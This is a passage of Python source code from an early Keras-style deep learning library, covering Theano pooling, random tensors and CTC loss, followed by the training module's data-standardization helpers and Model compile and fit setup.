        pool_out = pool.pool_2d(x, ds=pool_size, st=strides,
                                ignore_border=True,
                                padding=padding,
                                mode='max')
    elif pool_mode == 'avg':
        pool_out = pool.pool_2d(x, ds=pool_size, st=strides,
                                ignore_border=True,
                                padding=padding,
                                mode='average_exc_pad')
    else:
        raise Exception('Invalid pooling mode: ' + str(pool_mode))

    if border_mode == 'same':
        expected_width = (x.shape[2] + strides[0] - 1) // strides[0]
        expected_height = (x.shape[3] + strides[1] - 1) // strides[1]

        pool_out = pool_out[:, :,
                            : expected_width,
                            : expected_height]

    if dim_ordering == 'tf':
        pool_out = pool_out.dimshuffle((0, 2, 3, 1))
    return pool_out


def pool3d(x, pool_size, strides=(1, 1, 1), border_mode='valid',
           dim_ordering='th', pool_mode='max'):
    if border_mode == 'same':
        # TODO: add implementation for border_mode="same"
        raise Exception('border_mode="same" not supported with Theano.')
    elif border_mode == 'valid':
        ignore_border = True
        padding = (0, 0)
    else:
        raise Exception('Invalid border mode: ' + str(border_mode))

    if dim_ordering not in {'th', 'tf'}:
        raise Exception('Unknown dim_ordering ' + str(dim_ordering))

    if dim_ordering == 'tf':
        x = x.dimshuffle((0, 4, 1, 2, 3))

    if pool_mode == 'max':
        # pooling over conv_dim2, conv_dim1 (last two channels)
        output = pool.pool_2d(input=x.dimshuffle(0, 1, 4, 3, 2),
                              ds=(pool_size[1], pool_size[0]),
                              st=(strides[1], strides[0]),
                              ignore_border=ignore_border,
                              padding=padding,
                              mode='max')

        # pooling over conv_dim3
        pool_out = pool.pool_2d(input=output.dimshuffle(0, 1, 4, 3, 2),
                                ds=(1, pool_size[2]),
                                st=(1, strides[2]),
                                ignore_border=ignore_border,
                                padding=padding,
                                mode='max')

    elif pool_mode == 'avg':
        # pooling over conv_dim2, conv_dim1 (last two channels)
        output = pool.pool_2d(input=x.dimshuffle(0, 1, 4, 3, 2),
                              ds=(pool_size[1], pool_size[0]),
                              st=(strides[1], strides[0]),
                              ignore_border=ignore_border,
                              padding=padding,
                              mode='average_exc_pad')

        # pooling over conv_dim3
        pool_out = pool.pool_2d(input=output.dimshuffle(0, 1, 4, 3, 2),
                                ds=(1, pool_size[2]),
                                st=(1, strides[2]),
                                ignore_border=ignore_border,
                                padding=padding,
                                mode='average_exc_pad')
    else:
        raise Exception('Invalid pooling mode: ' + str(pool_mode))

    if dim_ordering == 'tf':
        pool_out = pool_out.dimshuffle((0, 2, 3, 4, 1))
    return pool_out


# RANDOMNESS


def random_normal(shape, mean=0.0, std=1.0, dtype=_FLOATX, seed=None):
    if seed is None:
        seed = np.random.randint(1, 10e6)
    rng = RandomStreams(seed=seed)
    return rng.normal(size=shape, avg=mean, std=std, dtype=dtype)


def random_uniform(shape, low=0.0, high=1.0, dtype=_FLOATX, seed=None):
    if seed is None:
        seed = np.random.randint(1, 10e6)
    rng = RandomStreams(seed=seed)
    return rng.uniform(shape, low=low, high=high, dtype=dtype)


def random_binomial(shape, p=0.0, dtype=_FLOATX, seed=None):
    if seed is None:
        seed = np.random.randint(1, 10e6)
    rng = RandomStreams(seed=seed)
    return rng.binomial(shape, p=p, dtype=dtype)

# Theano implementation of CTC
# Used with permission from Shawn Tan
# https://github.com/shawntan/
# Note that tensorflow's native CTC code is significantly
# faster than this

def ctc_interleave_blanks(Y):
    Y_ = T.alloc(-1, Y.shape[0] * 2 + 1)
    Y_ = T.set_subtensor(Y_[T.arange(Y.shape[0]) * 2 + 1], Y)
    return Y_

def ctc_create_skip_idxs(Y):
    skip_idxs = T.arange((Y.shape[0] - 3) // 2) * 2 + 1
    non_repeats = T.neq(Y[skip_idxs], Y[skip_idxs + 2])
    return skip_idxs[non_repeats.nonzero()]

def ctc_update_log_p(skip_idxs, zeros, active, log_p_curr, log_p_prev):
    active_skip_idxs = skip_idxs[(skip_idxs < active).nonzero()]
    active_next = T.cast(T.minimum(
        T.maximum(
            active + 1,
            T.max(T.concatenate([active_skip_idxs, [-1]])) + 2 + 1
        ), log_p_curr.shape[0]), 'int32')

    common_factor = T.max(log_p_prev[:active])
    p_prev = T.exp(log_p_prev[:active] - common_factor)
    _p_prev = zeros[:active_next]
    # copy over
    _p_prev = T.set_subtensor(_p_prev[:active], p_prev)
    # previous transitions
    _p_prev = T.inc_subtensor(_p_prev[1:], _p_prev[:-1])
    # skip transitions
    _p_prev = T.inc_subtensor(_p_prev[active_skip_idxs + 2], p_prev[active_skip_idxs])
    updated_log_p_prev = T.log(_p_prev) + common_factor

    log_p_next = T.set_subtensor(
        zeros[:active_next],
        log_p_curr[:active_next] + updated_log_p_prev
    )
    return active_next, log_p_next

def ctc_path_probs(predict, Y, alpha=1e-4):
    smoothed_predict = (1 - alpha) * predict[:, Y] + alpha * np.float32(1.) / Y.shape[0]
    L = T.log(smoothed_predict)
    zeros = T.zeros_like(L[0])
    base = T.set_subtensor(zeros[:1], np.float32(1))
    log_first = zeros

    f_skip_idxs = ctc_create_skip_idxs(Y)
    b_skip_idxs = ctc_create_skip_idxs(Y[::-1])  # there should be a shortcut to calculating this

    def step(log_f_curr, log_b_curr, f_active, log_f_prev, b_active, log_b_prev):
        f_active_next, log_f_next = ctc_update_log_p(f_skip_idxs, zeros, f_active, log_f_curr, log_f_prev)
        b_active_next, log_b_next = ctc_update_log_p(b_skip_idxs, zeros, b_active, log_b_curr, log_b_prev)
        return f_active_next, log_f_next, b_active_next, log_b_next

    [f_active, log_f_probs, b_active, log_b_probs], _ = theano.scan(
        step, sequences=[L, L[::-1, ::-1]], outputs_info=[np.int32(1), log_first, np.int32(1), log_first])

    idxs = T.arange(L.shape[1]).dimshuffle('x', 0)
    mask = (idxs < f_active.dimshuffle(0, 'x')) & (idxs < b_active.dimshuffle(0, 'x'))[::-1, ::-1]
    log_probs = log_f_probs + log_b_probs[::-1, ::-1] - L
    return log_probs, mask

def ctc_cost(predict, Y):
    log_probs, mask = ctc_path_probs(predict, ctc_interleave_blanks(Y))
    common_factor = T.max(log_probs)
    total_log_prob = T.log(T.sum(T.exp(log_probs - common_factor)[mask.nonzero()])) + common_factor
    return -total_log_prob

# batchifies original CTC code
def ctc_batch_cost(y_true, y_pred, input_length, label_length):
    '''Runs CTC loss algorithm on each batch element.

    # Arguments
        y_true: tensor (samples, max_string_length) containing the truth labels
        y_pred: tensor (samples, time_steps, num_categories) containing the prediction,
                or output of the softmax
        input_length: tensor (samples,1) containing the sequence length for
                each batch item in y_pred
        label_length: tensor (samples,1) containing the sequence length for
                each batch item in y_true

    # Returns
        Tensor with shape (samples,1) containing the
            CTC loss of each element
    '''

    def ctc_step(y_true_step, y_pred_step, input_length_step, label_length_step):
        y_pred_step = y_pred_step[0: input_length_step[0]]
        y_true_step = y_true_step[0:label_length_step[0]]
        return ctc_cost(y_pred_step, y_true_step)

    ret, _ = theano.scan(
        fn = ctc_step,
        outputs_info=None,
        sequences=[y_true, y_pred, input_length, label_length]
    )

    ret = ret.dimshuffle('x', 0)
    return ret






from __future__ import print_function
from __future__ import absolute_import

import warnings
import copy
import time
import numpy as np
import multiprocessing
import threading
try:
    import queue
except ImportError:
    import Queue as queue

from .topology import Container
from .. import backend as K
from .. import optimizers
from .. import objectives
from .. import metrics as metrics_module
from ..utils.generic_utils import Progbar
from .. import callbacks as cbks


def standardize_input_data(data, names, shapes=None,
                           check_batch_dim=True,
                           exception_prefix=''):
    '''Users may pass data as a list of arrays, dictionary of arrays,
    or as a single array. We normalize this to an ordered list of
    arrays (same order as `names`), while checking that the provided
    arrays have shapes that match the network's expectations.
    '''
    if type(data) is dict:
        arrays = []
        for name in names:
            if name not in data:
                raise Exception('No data provided for "' +
                                name + '". Need data for each key in: ' +
                                str(data.keys()))
            arrays.append(data[name])
    elif type(data) is list:
        if len(data) != len(names):
            if len(data) > 0 and hasattr(data[0], 'shape'):
                raise Exception('Error when checking ' + exception_prefix +
                                ': the list of Numpy arrays '
                                'that you are passing to your model '
                                'is not the size the model expected. '
                                'Expected to see ' + str(len(names)) +
                                ' arrays but instead got '
                                'the following list of ' + str(len(data)) +
                                ' arrays: ' + str(data)[:200] +
                                '...')
            else:
                if len(names) == 1:
                    data = [np.asarray(data)]
                else:
                    raise Exception('Error when checking ' + exception_prefix +
                                    ': you are passing a list as '
                                    'input to your model, '
                                    'but the model expects '
                                    'a list of ' + str(len(names)) +
                                    ' Numpy arrays instead. '
                                    'The list you passed was: ' +
                                    str(data)[:200])
        arrays = data
    else:
        if not hasattr(data, 'shape'):
            raise Exception('Error when checking ' + exception_prefix +
                            ': data should be a Numpy array, '
                            'or list/dict of Numpy arrays. '
                            'Found: ' + str(data)[:200] + '...')
        if len(names) != 1:
            # case: model expects multiple inputs but only received
            # a single Numpy array
            raise Exception('The model expects ' + str(len(names)) +
                            ' input arrays, but only received one array. '
                            'Found: array with shape ' + str(data.shape))
        arrays = [data]

    # make arrays at least 2D
    for i in range(len(names)):
        array = arrays[i]
        if len(array.shape) == 1:
            array = np.expand_dims(array, 1)
            arrays[i] = array

    # check shapes compatibility
    if shapes:
        for i in range(len(names)):
            if shapes[i] is None:
                continue
            array = arrays[i]
            if len(array.shape) != len(shapes[i]):
                raise Exception('Error when checking ' + exception_prefix +
                                ': expected ' + names[i] +
                                ' to have ' + str(len(shapes[i])) +
                                ' dimensions, but got array with shape ' +
                                str(array.shape))
            for j, (dim, ref_dim) in enumerate(zip(array.shape, shapes[i])):
                if not j and not check_batch_dim:
                    # skip the first axis
                    continue
                if ref_dim:
                    if ref_dim != dim:
                        raise Exception('Error when checking ' + exception_prefix +
                                        ': expected ' + names[i] +
                                        ' to have shape ' + str(shapes[i]) +
                                        ' but got array with shape ' +
                                        str(array.shape))
    return arrays


def standardize_sample_or_class_weights(x_weight, output_names, weight_type):
    if x_weight is None or len(x_weight) == 0:
        return [None for _ in output_names]
    if len(output_names) == 1:
        if type(x_weight) is list and len(x_weight) == 1:
            return x_weight
        if type(x_weight) is dict and output_names[0] in x_weight:
            return [x_weight[output_names[0]]]
        else:
            return [x_weight]
    if type(x_weight) is list:
        if len(x_weight) != len(output_names):
            raise Exception('Provided `' + weight_type + '` was a list of ' +
                            str(len(x_weight)) +
                            ' elements, but the model has ' +
                            str(len(output_names)) + ' outputs. '
                            'You should provide one `' + weight_type + '`'
                            'array per model output.')
        return x_weight
    if type(x_weight) is dict:
        x_weights = []
        for name in output_names:
            x_weights.append(x_weight.get(name))
        return x_weights
    else:
        raise Exception('The model has multiple outputs, so `' +
                        weight_type + '` '
                        'should be either a list of a dict. '
                        'Provided `' + weight_type +
                        '` type not understood: ' +
                        str(x_weight))


def standardize_class_weights(class_weight, output_names):
    return standardize_sample_or_class_weights(class_weight,
                                               output_names,
                                               'class_weight')


def standardize_sample_weights(sample_weight, output_names):
    return standardize_sample_or_class_weights(sample_weight,
                                               output_names,
                                               'sample_weight')


def check_array_lengths(X, Y, W):
    x_lengths = [x.shape[0] for x in X]
    y_lengths = [y.shape[0] for y in Y]
    w_lengths = [w.shape[0] for w in W]
    set_x = set(x_lengths)
    if len(set_x) != 1:
        raise Exception('All input arrays (x) should have '
                        'the same number of samples.')
    set_y = set(y_lengths)
    if len(set_y) != 1:
        raise Exception('All target arrays (y) should have '
                        'the same number of samples.')
    set_w = set(w_lengths)
    if len(set_w) != 1:
        raise Exception('All sample_weight arrays should have '
                        'the same number of samples.')
    if list(set_x)[0] != list(set_y)[0]:
        raise Exception('Input arrays should have '
                        'the same number of samples as target arrays. Found ' +
                        str(list(set_x)[0]) + ' input samples and ' +
                        str(list(set_y)[0]) + ' target samples.')
    if list(set_x)[0] != list(set_w)[0]:
        raise Exception('Sample_weight arrays should have '
                        'the same number of samples as input arrays. Found ' +
                        str(list(set_x)[0]) + ' input samples and ' +
                        str(list(set_w)[0]) + ' target samples.')


def check_loss_and_target_compatibility(targets, losses, output_shapes):
    assert len(targets) == len(losses) == len(output_shapes)
    key_losses = {'mean_square_error',
                  'binary_crossentropy',
                  'categorical_crossentropy'}
    for y, loss, shape in zip(targets, losses, output_shapes):
        if loss.__name__ == 'categorical_crossentropy':
            if y.shape[1] == 1:
                raise Exception('You are passing a target array of shape ' + str(y.shape) +
                                ' while using as loss `categorical_crossentropy`. '
                                '`categorical_crossentropy` expects '
                                'targets to be binary matrices (1s and 0s) '
                                'of shape (samples, classes). '
                                'If your targets are integer classes, '
                                'you can convert them to the expected format via:\n'
                                '```\n'
                                'from keras.utils.np_utils import to_categorical\n'
                                'y_binary = to_categorical(y_int)\n'
                                '```\n'
                                '\n'
                                'Alternatively, you can use the loss function '
                                '`sparse_categorical_crossentropy` instead, '
                                'which does expect integer targets.')
        if loss.__name__ in key_losses and shape[1] is not None and y.shape[1] != shape[1]:
            raise Exception('A target array with shape ' + str(y.shape) +
                            ' was passed for an output of shape ' + str(shape) +
                            ' while using as loss `' + loss.__name__ + '`. '
                            'This loss expects '
                            'targets to have the same shape '
                            'as the output.')


def collect_metrics(metrics, output_names):
    if not metrics:
        return [[] for _ in output_names]
    if type(metrics) is list:
        # we then apply all metrics to all outputs.
        return [copy.copy(metrics) for _ in output_names]
    elif type(metrics) is dict:
        nested_metrics = []
        for name in output_names:
            output_metrics = metrics.get(name, [])
            if type(output_metrics) is not list:
                output_metrics = [output_metrics]
            nested_metrics.append(output_metrics)
        return nested_metrics
    else:
        raise Exception('Type of `metrics` argument not understood. '
                        'Expected a list or dictionary, found: ' +
                        str(metrics))


def collect_trainable_weights(layer):
    '''Collects all `trainable_weights` attributes,
    excluding any sublayers where `trainable` is set the `False`.
    '''
    trainable = getattr(layer, 'trainable', True)
    if not trainable:
        return []
    weights = []
    if layer.__class__.__name__ == 'Sequential':
        for sublayer in layer.flattened_layers:
            weights += collect_trainable_weights(sublayer)
    elif layer.__class__.__name__ == 'Model':
        for sublayer in layer.layers:
            weights += collect_trainable_weights(sublayer)
    elif layer.__class__.__name__ == 'Graph':
        for sublayer in layer._graph_nodes.values():
            weights += collect_trainable_weights(sublayer)
    else:
        weights += layer.trainable_weights
    # dedupe weights
    weights = list(set(weights))
    weights.sort(key=lambda x: x.name)
    return weights


def batch_shuffle(index_array, batch_size):
    '''This shuffles an array in a batch-wise fashion.
    Useful for shuffling HDF5 arrays
    (where one cannot access arbitrary indices).
    '''
    batch_count = int(len(index_array) / batch_size)
    # to reshape we need to be cleanly divisible by batch size
    # we stash extra items and reappend them after shuffling
    last_batch = index_array[batch_count * batch_size:]
    index_array = index_array[:batch_count * batch_size]
    index_array = index_array.reshape((batch_count, batch_size))
    np.random.shuffle(index_array)
    index_array = index_array.flatten()
    return np.append(index_array, last_batch)


def make_batches(size, batch_size):
    '''Returns a list of batch indices (tuples of indices).
    '''
    nb_batch = int(np.ceil(size / float(batch_size)))
    return [(i * batch_size, min(size, (i + 1) * batch_size))
            for i in range(0, nb_batch)]


def slice_X(X, start=None, stop=None):
    '''This takes an array-like, or a list of
    array-likes, and outputs:
        - X[start:stop] if X is an array-like
        - [x[start:stop] for x in X] if X in a list

    Can also work on list/array of indices: `slice_X(x, indices)`

    # Arguments:
        start: can be an integer index (start index)
            or a list/array of indices
        stop: integer (stop index); should be None if
            `start` was a list.
    '''
    if type(X) == list:
        if hasattr(start, '__len__'):
            # hdf5 datasets only support list objects as indices
            if hasattr(start, 'shape'):
                start = start.tolist()
            return [x[start] for x in X]
        else:
            return [x[start:stop] for x in X]
    else:
        if hasattr(start, '__len__'):
            if hasattr(start, 'shape'):
                start = start.tolist()
            return X[start]
        else:
            return X[start:stop]


def weighted_objective(fn):
    '''Transforms an objective function `fn(y_true, y_pred)`
    into a sample-weighted, cost-masked objective function
    `fn(y_true, y_pred, weights, mask)`.
    '''
    def weighted(y_true, y_pred, weights, mask=None):
        # score_array has ndim >= 2
        score_array = fn(y_true, y_pred)
        if mask is not None:
            # Cast the mask to floatX to avoid float64 upcasting in theano
            mask = K.cast(mask, K.floatx())
            # mask should have the same shape as score_array
            score_array *= mask
            #  the loss per batch should be proportional
            #  to the number of unmasked samples.
            score_array /= K.mean(mask)

        # reduce score_array to same ndim as weight array
        ndim = K.ndim(score_array)
        weight_ndim = K.ndim(weights)
        score_array = K.mean(score_array, axis=list(range(weight_ndim, ndim)))

        # apply sample weighting
        if weights is not None:
            score_array *= weights
            score_array /= K.mean(K.cast(K.not_equal(weights, 0), K.floatx()))
        return K.mean(score_array)
    return weighted


def standardize_weights(y, sample_weight=None, class_weight=None,
                        sample_weight_mode=None):
    '''Performs weight input validation and standardization
    to a single sample-wise (or timestep-wise) weight array.
    '''
    if sample_weight_mode is not None:
        if sample_weight_mode != 'temporal':
            raise Exception('"sample_weight_mode '
                            'should be None or "temporal". '
                            'Found: ' + str(sample_weight_mode))
        if len(y.shape) < 3:
            raise Exception('Found a sample_weight array for '
                            'an input with shape ' +
                            str(y.shape) + '. '
                            'Timestep-wise sample weighting (use of '
                            'sample_weight_mode="temporal") is restricted to '
                            'outputs that are at least 3D, i.e. that have '
                            'a time dimension.')
        if sample_weight is not None and len(sample_weight.shape) != 2:
            raise Exception('Found a sample_weight array with shape ' +
                            str(sample_weight.shape) + '. '
                            'In order to use timestep-wise sample weighting, '
                            'you should pass a 2D sample_weight array.')
    else:
        if sample_weight is not None and len(sample_weight.shape) != 1:
            raise Exception('Found a sample_weight array with shape ' +
                            str(sample_weight.shape) + '. '
                            'In order to use timestep-wise sample weights, '
                            'you should specify sample_weight_mode="temporal" '
                            'in compile(). If you just mean to use '
                            'sample-wise weights, make sure your '
                            'sample_weight array is 1D.')

    if sample_weight is not None:
        assert len(sample_weight.shape) <= len(y.shape)
        # TODO: proper error message
        assert y.shape[:sample_weight.ndim] == sample_weight.shape
        return sample_weight
    elif isinstance(class_weight, dict):
        if len(y.shape) > 2:
            raise Exception('class_weight not supported for '
                            '3+ dimensional targets.')
        if y.shape[1] > 1:
            y_classes = y.argmax(axis=1)
        elif y.shape[1] == 1:
            y_classes = np.reshape(y, y.shape[0])
        else:
            y_classes = y
        weights = np.asarray([class_weight[cls] for cls in y_classes])
        return weights
    else:
        if sample_weight_mode is None:
            return np.ones((y.shape[0],), dtype=K.floatx())
        else:
            return np.ones((y.shape[0], y.shape[1]), dtype=K.floatx())


def generator_queue(generator, max_q_size=10,
                    wait_time=0.05, nb_worker=1, pickle_safe=False):
    '''Builds a queue out of a data generator.
    If pickle_safe, use a multiprocessing approach. Else, use threading.
    Used in `fit_generator`, `evaluate_generator`, `predict_generator`.

    '''

    generator_threads = []
    if pickle_safe:
        q = multiprocessing.Queue(maxsize=max_q_size)
        _stop = multiprocessing.Event()
    else:
        q = queue.Queue()
        _stop = threading.Event()

    try:
        def data_generator_task():
            while not _stop.is_set():
                try:
                    if pickle_safe or q.qsize() < max_q_size:
                        generator_output = next(generator)
                        q.put(generator_output)
                    else:
                        time.sleep(wait_time)
                except Exception:
                    _stop.set()
                    raise

        for i in range(nb_worker):
            if pickle_safe:
                # Reset random seed else all children processes share the same seed
                np.random.seed()
                thread = multiprocessing.Process(target=data_generator_task)
            else:
                thread = threading.Thread(target=data_generator_task)
            generator_threads.append(thread)
            thread.daemon = True
            thread.start()
    except:
        _stop.set()
        if pickle_safe:
            # Terminate all daemon processes
            for p in generator_threads:
                if p.is_alive():
                    p.terminate()
            q.close()
        raise

    return q, _stop


class Model(Container):

    def compile(self, optimizer, loss, metrics=[], loss_weights=None,
                sample_weight_mode=None, **kwargs):
        '''Configures the model for training.

        # Arguments
            optimizer: str (name of optimizer) or optimizer object.
                See [optimizers](/optimizers).
            loss: str (name of objective function) or objective function.
                See [objectives](/objectives).
                If the model has multiple outputs, you can use a different loss
                on each output by passing a dictionary or a list of objectives.
            metrics: list of metrics to be evaluated by the model
                during training and testing.
                Typically you will use `metrics=['accuracy']`.
                To specify different metrics for different outputs of a
                multi-output model, you could also pass a dictionary,
                such as `metrics={'output_a': 'accuracy'}`.
            sample_weight_mode: if you need to do timestep-wise
                sample weighting (2D weights), set this to "temporal".
                "None" defaults to sample-wise weights (1D).
                If the model has multiple outputs, you can use a different
                `sample_weight_mode` on each output by passing a
                dictionary or a list of modes.
            kwargs: when using the Theano backend, these arguments
                are passed into K.function. Ignored for Tensorflow backend.
        '''
        self.optimizer = optimizers.get(optimizer)
        self.sample_weight_mode = sample_weight_mode
        self.loss = loss
        self.loss_weights = loss_weights

        # prepare loss weights
        if loss_weights is None:
            loss_weights_list = [1. for _ in range(len(self.outputs))]
        elif type(loss_weights) is dict:
            for name in loss_weights:
                if name not in self.output_names:
                    raise Exception('Unknown entry in loss_weights '
                                    'dictionary: "' + name + '". '
                                    'Only expected the following keys: ' +
                                    str(self.output_names))
            loss_weights_list = []
            for name in self.output_names:
                loss_weights_list.append(loss_weights.get(name, 1.))
        elif type(loss_weights) is list:
            if len(loss_weights) != len(self.outputs):
                raise Exception('When passing a list as loss_weights, '
                                'it should have one entry per model outputs. '
                                'The model has ' + str(len(self.outputs)) +
                                ' outputs, but you passed loss_weights=' +
                                str(loss_weights))
            loss_weights_list = loss_weights
        else:
            raise Exception('Could not interpret loss_weights argument: ' +
                            str(loss_weights))

        # prepare loss functions
        if type(loss) is dict:
            for name in loss:
                if name not in self.output_names:
                    raise Exception('Unknown entry in loss '
                                    'dictionary: "' + name + '". '
                                    'Only expected the following keys: ' +
                                    str(self.output_names))
            loss_functions = []
            for name in self.output_names:
                if name not in loss:
                    raise Exception('Output "' + name +
                                    '" missing from loss dictionary')
                loss_functions.append(objectives.get(loss[name]))
        elif type(loss) is list:
            if len(loss) != len(self.outputs):
                raise Exception('When passing a list as loss, '
                                'it should have one entry per model outputs. '
                                'The model has ' + str(len(self.outputs)) +
                                ' outputs, but you passed loss=' +
                                str(loss))
            loss_functions = [objectives.get(l) for l in loss]
        else:
            loss_function = objectives.get(loss)
            loss_functions = [loss_function for _ in range(len(self.outputs))]
        self.loss_functions = loss_functions
        weighted_losses = [weighted_objective(fn) for fn in loss_functions]

        # prepare output masks
        masks = self.compute_mask(self.inputs, mask=None)
        if masks is None:
            masks = [None for _ in self.outputs]
        if type(masks) is not list:
            masks = [masks]

        # prepare sample weights
        if type(sample_weight_mode) is dict:
            for name in sample_weight_mode:
                if name not in self.output_names:
                    raise Exception('Unknown entry in '
                                    'sample_weight_mode dictionary: "' +
                                    name + '". '
                                    'Only expected the following keys: ' +
                                    str(self.output_names))
            sample_weights = []
            sample_weight_modes = []
            for name in self.output_names:
                if name not in sample_weight_mode:
                    raise Exception('Output "' + name +
                                    '" missing from sample_weight_modes '
                                    'dictionary')
                if sample_weight_mode.get(name) == 'temporal':
                    weight = K.placeholder(ndim=2, name=name + '_sample_weights')
                    sample_weight_modes.append('temporal')
                else:
                    weight = K.placeholder(ndim=1, name=name + '_sample_weights')
                    sample_weight_modes.append(None)
                sample_weights.append(weight)
        elif type(sample_weight_mode) is list:
            if len(sample_weight_mode) != len(self.outputs):
                raise Exception('When passing a list as sample_weight_mode, ' +
                                'it should have one entry per model outputs. '
                                'The model has ' + str(len(self.outputs)) +
                                ' outputs, but you passed sample_weight_mode=' +
                                str(sample_weight_mode))
            sample_weights = []
            sample_weight_modes = []
            for mode, name in zip(sample_weight_mode, self.output_names):
                if mode == 'temporal':
                    weight = K.placeholder(ndim=2, name=name + '_sample_weights')
                    sample_weight_modes.append('temporal')
                else:
                    weight = K.placeholder(ndim=1, name=name + '_sample_weights')
                    sample_weight_modes.append(None)
                sample_weights.append(weight)
        else:
            if sample_weight_mode == 'temporal':
                sample_weights = [K.placeholder(ndim=2, name=name + '_sample_weights')
                                  for name in self.output_names]
                sample_weight_modes = ['temporal' for name in self.output_names]
            else:
                sample_weights = [K.placeholder(ndim=1, name=name + '_sample_weights')
                                  for name in self.output_names]
                sample_weight_modes = [None for name in self.output_names]
        self.sample_weight_modes = sample_weight_modes

        # prepare targets of model
        self.targets = []
        for i in range(len(self.outputs)):
            shape = self.internal_output_shapes[i]
            name = self.output_names[i]
            self.targets.append(K.placeholder(ndim=len(shape), name=name + '_target'))

        # prepare metrics
        self.metrics = metrics
        self.metrics_names = ['loss']
        self.metrics_tensors = []

        # compute total loss
        total_loss = None
        for i in range(len(self.outputs)):
            y_true = self.targets[i]
            y_pred = self.outputs[i]
            weighted_loss = weighted_losses[i]
            sample_weight = sample_weights[i]
            mask = masks[i]
            loss_weight = loss_weights_list[i]
            output_loss = weighted_loss(y_true, y_pred,
                                        sample_weight, mask)
            if len(self.outputs) > 1:
                self.metrics_tensors.append(output_loss)
                self.metrics_names.append(self.output_names[i] + '_loss')
            if total_loss is None:
                total_loss = loss_weight * output_loss
            else:
                total_loss += loss_weight * output_loss

        # add regularization penalties to the loss
        for r in self.regularizers:
            total_loss = r(total_loss)

        # list of same size as output_names.
        # contains tuples (metrics for output, names of metrics)
        nested_metrics = collect_metrics(metrics, self.output_names)
        for i in range(len(self.outputs)):
            y_true = self.targets[i]
            y_pred = self.outputs[i]
            output_metrics = nested_metrics[i]

            for metric in output_metrics:
                if metric == 'accuracy' or metric == 'acc':
                    # custom handling of accuracy (because of class mode duality)
                    output_shape = self.internal_output_shapes[i]
                    if output_shape[-1] == 1 or self.loss_functions[i] == objectives.binary_crossentropy:
                        # case: binary accuracy
                        self.metrics_tensors.append(metrics_module.binary_accuracy(y_true, y_pred))
                    elif self.loss_functions[i] == objectives.sparse_categorical_crossentropy:
                        # case: categorical accuracy with sparse targets
                        self.metrics_tensors.append(
                            metrics_module.sparse_categorical_accuracy(y_true, y_pred))
                    else:
                        # case: categorical accuracy with dense targets
                        self.metrics_tensors.append(metrics_module.categorical_accuracy(y_true, y_pred))
                    if len(self.output_names) == 1:
                        self.metrics_names.append('acc')
                    else:
                        self.metrics_names.append(self.output_layers[i].name + '_acc')
                else:
                    metric_fn = metrics_module.get(metric)
                    self.metrics_tensors.append(metric_fn(y_true, y_pred))
                    if len(self.output_names) == 1:
                        self.metrics_names.append(metric_fn.__name__)
                    else:
                        self.metrics_names.append(self.output_layers[i].name + '_' + metric_fn.__name__)

        # prepare gradient updates and state updates
        self.optimizer = optimizers.get(optimizer)
        self.total_loss = total_loss
        self.sample_weights = sample_weights

        # functions for train, test and predict will
        # be compiled lazily when required.
        # This saves time when the user is not using all functions.
        self._function_kwargs = kwargs

        self.train_function = None
        self.test_function = None
        self.predict_function = None

    def _make_train_function(self):
        if not hasattr(self, 'train_function'):
            raise Exception('You must compile your model before using it.')
        if self.train_function is None:
            if self.uses_learning_phase and type(K.learning_phase()) is not int:
                inputs = self.inputs + self.targets + self.sample_weights + [K.learning_phase()]
            else:
                inputs = self.inputs + self.targets + self.sample_weights

            # get trainable weights
            trainable_weights = collect_trainable_weights(self)
            training_updates = self.optimizer.get_updates(trainable_weights, self.constraints, self.total_loss)
            updates = self.updates + training_updates

            # returns loss and metrics. Updates weights at each call.
            self.train_function = K.function(inputs,
                                             [self.total_loss] + self.metrics_tensors,
                                             updates=updates,
                                             **self._function_kwargs)

    def _make_test_function(self):
        if not hasattr(self, 'test_function'):
            raise Exception('You must compile your model before using it.')
        if self.test_function is None:
            if self.uses_learning_phase and type(K.learning_phase()) is not int:
                inputs = self.inputs + self.targets + self.sample_weights + [K.learning_phase()]
            else:
                inputs = self.inputs + self.targets + self.sample_weights
            # return loss and metrics, no gradient updates.
            # Does update the network states.
            self.test_function = K.function(inputs,
                                            [self.total_loss] + self.metrics_tensors,
                                            updates=self.state_updates,
                                            **self._function_kwargs)

    def _make_predict_function(self):
        if not hasattr(self, 'predict_function'):
            self.predict_function = None
        if self.predict_function is None:
            if self.uses_learning_phase and type(K.learning_phase()) is not int:
                inputs = self.inputs + [K.learning_phase()]
            else:
                inputs = self.inputs
            # returns network outputs. Does not update weights.
            # Does update the network states.
            kwargs = getattr(self, '_function_kwargs', {})
            self.predict_function = K.function(inputs,
                                               self.outputs,
                                               updates=self.state_updates,
                                               **kwargs)

    def _fit_loop(self, f, ins, out_labels=[], batch_size=32,
                  nb_epoch=100, verbose=1, callbacks=[],
                  val_f=None, val_ins=None, shuffle=True,
                  callback_metrics=[]):
        '''Abstract fit function for f(ins).
        Assume that f returns a list, labeled by out_labels.

        # Arguments
            f: Keras function returning a list of tensors
            ins: list of tensors to be fed to `f`
            out_labels: list of strings, display names of
                the outputs of `f`
            batch_size: integer batch size
            nb_epoch: number of times to iterate over the data
            verbose: verbosity mode, 0, 1 or 2
            callbacks: list of callbacks to be called during training
            val_f: Keras function to call for validation
            val_ins: list of tensors to be fed to `val_f`
            shuffle: whether to shuffle the data at the beginning of each epoch
            callback_metrics: list of strings, the display names of the metrics
                passed to the callbacks. They should be the
                concatenation of list the display names of the outputs of
                 `f` and the list of display names of the outputs of `f_val`.

        # Returns
            `History` object.
        '''
        do_validation = False
        if val_f and val_ins:
            do_validation = True
            if verbose:
                print('Train on %d samples, validate on %d samples' %
                      (len(ins[0]), len(val_ins[0])))

        nb_train_sample = len(ins[0])
        index_array = np.arange(nb_train_sample)

        self.history = cbks.History()
        callbacks = [cbks.BaseLogger()] + callbacks + [self.history]
        if verbose:
            callbacks += [cbks.ProgbarLogger()]
        callbacks = cbks.CallbackList(callbacks)

        # it's possible to callback a different model than self
        # (used by Sequential models)
        if hasattr(self, 'callback_model') and self.callback_model:
            callback_model = self.callback_model
        else:
            callback_model = self

        callbacks._set_model(callback_model)
        callbacks._set_params({
            'batch_size': batch_size,
            'nb_epoch': nb_epoch,
            'nb_sample': nb_train_sample,
            'verbose': verbose,
            'do_validation': do_validation,
            'metrics': callback_metrics,
        })
        callbacks.on_train_begin()
        callback_model.stop_training = False
        self.validation_data = val_ins

        for epoch in range(nb_epoch):
            callbacks.on_epoch_begin(epoch)
            if shuffle == 'batch':
                index_array = batch_shuffle(index_array, batch_size)
            elif shuffle:
                np.random.shuffle(index_array)

            batches = make_batches(nb_train_sample, batch_size)
            epoch_logs = {}
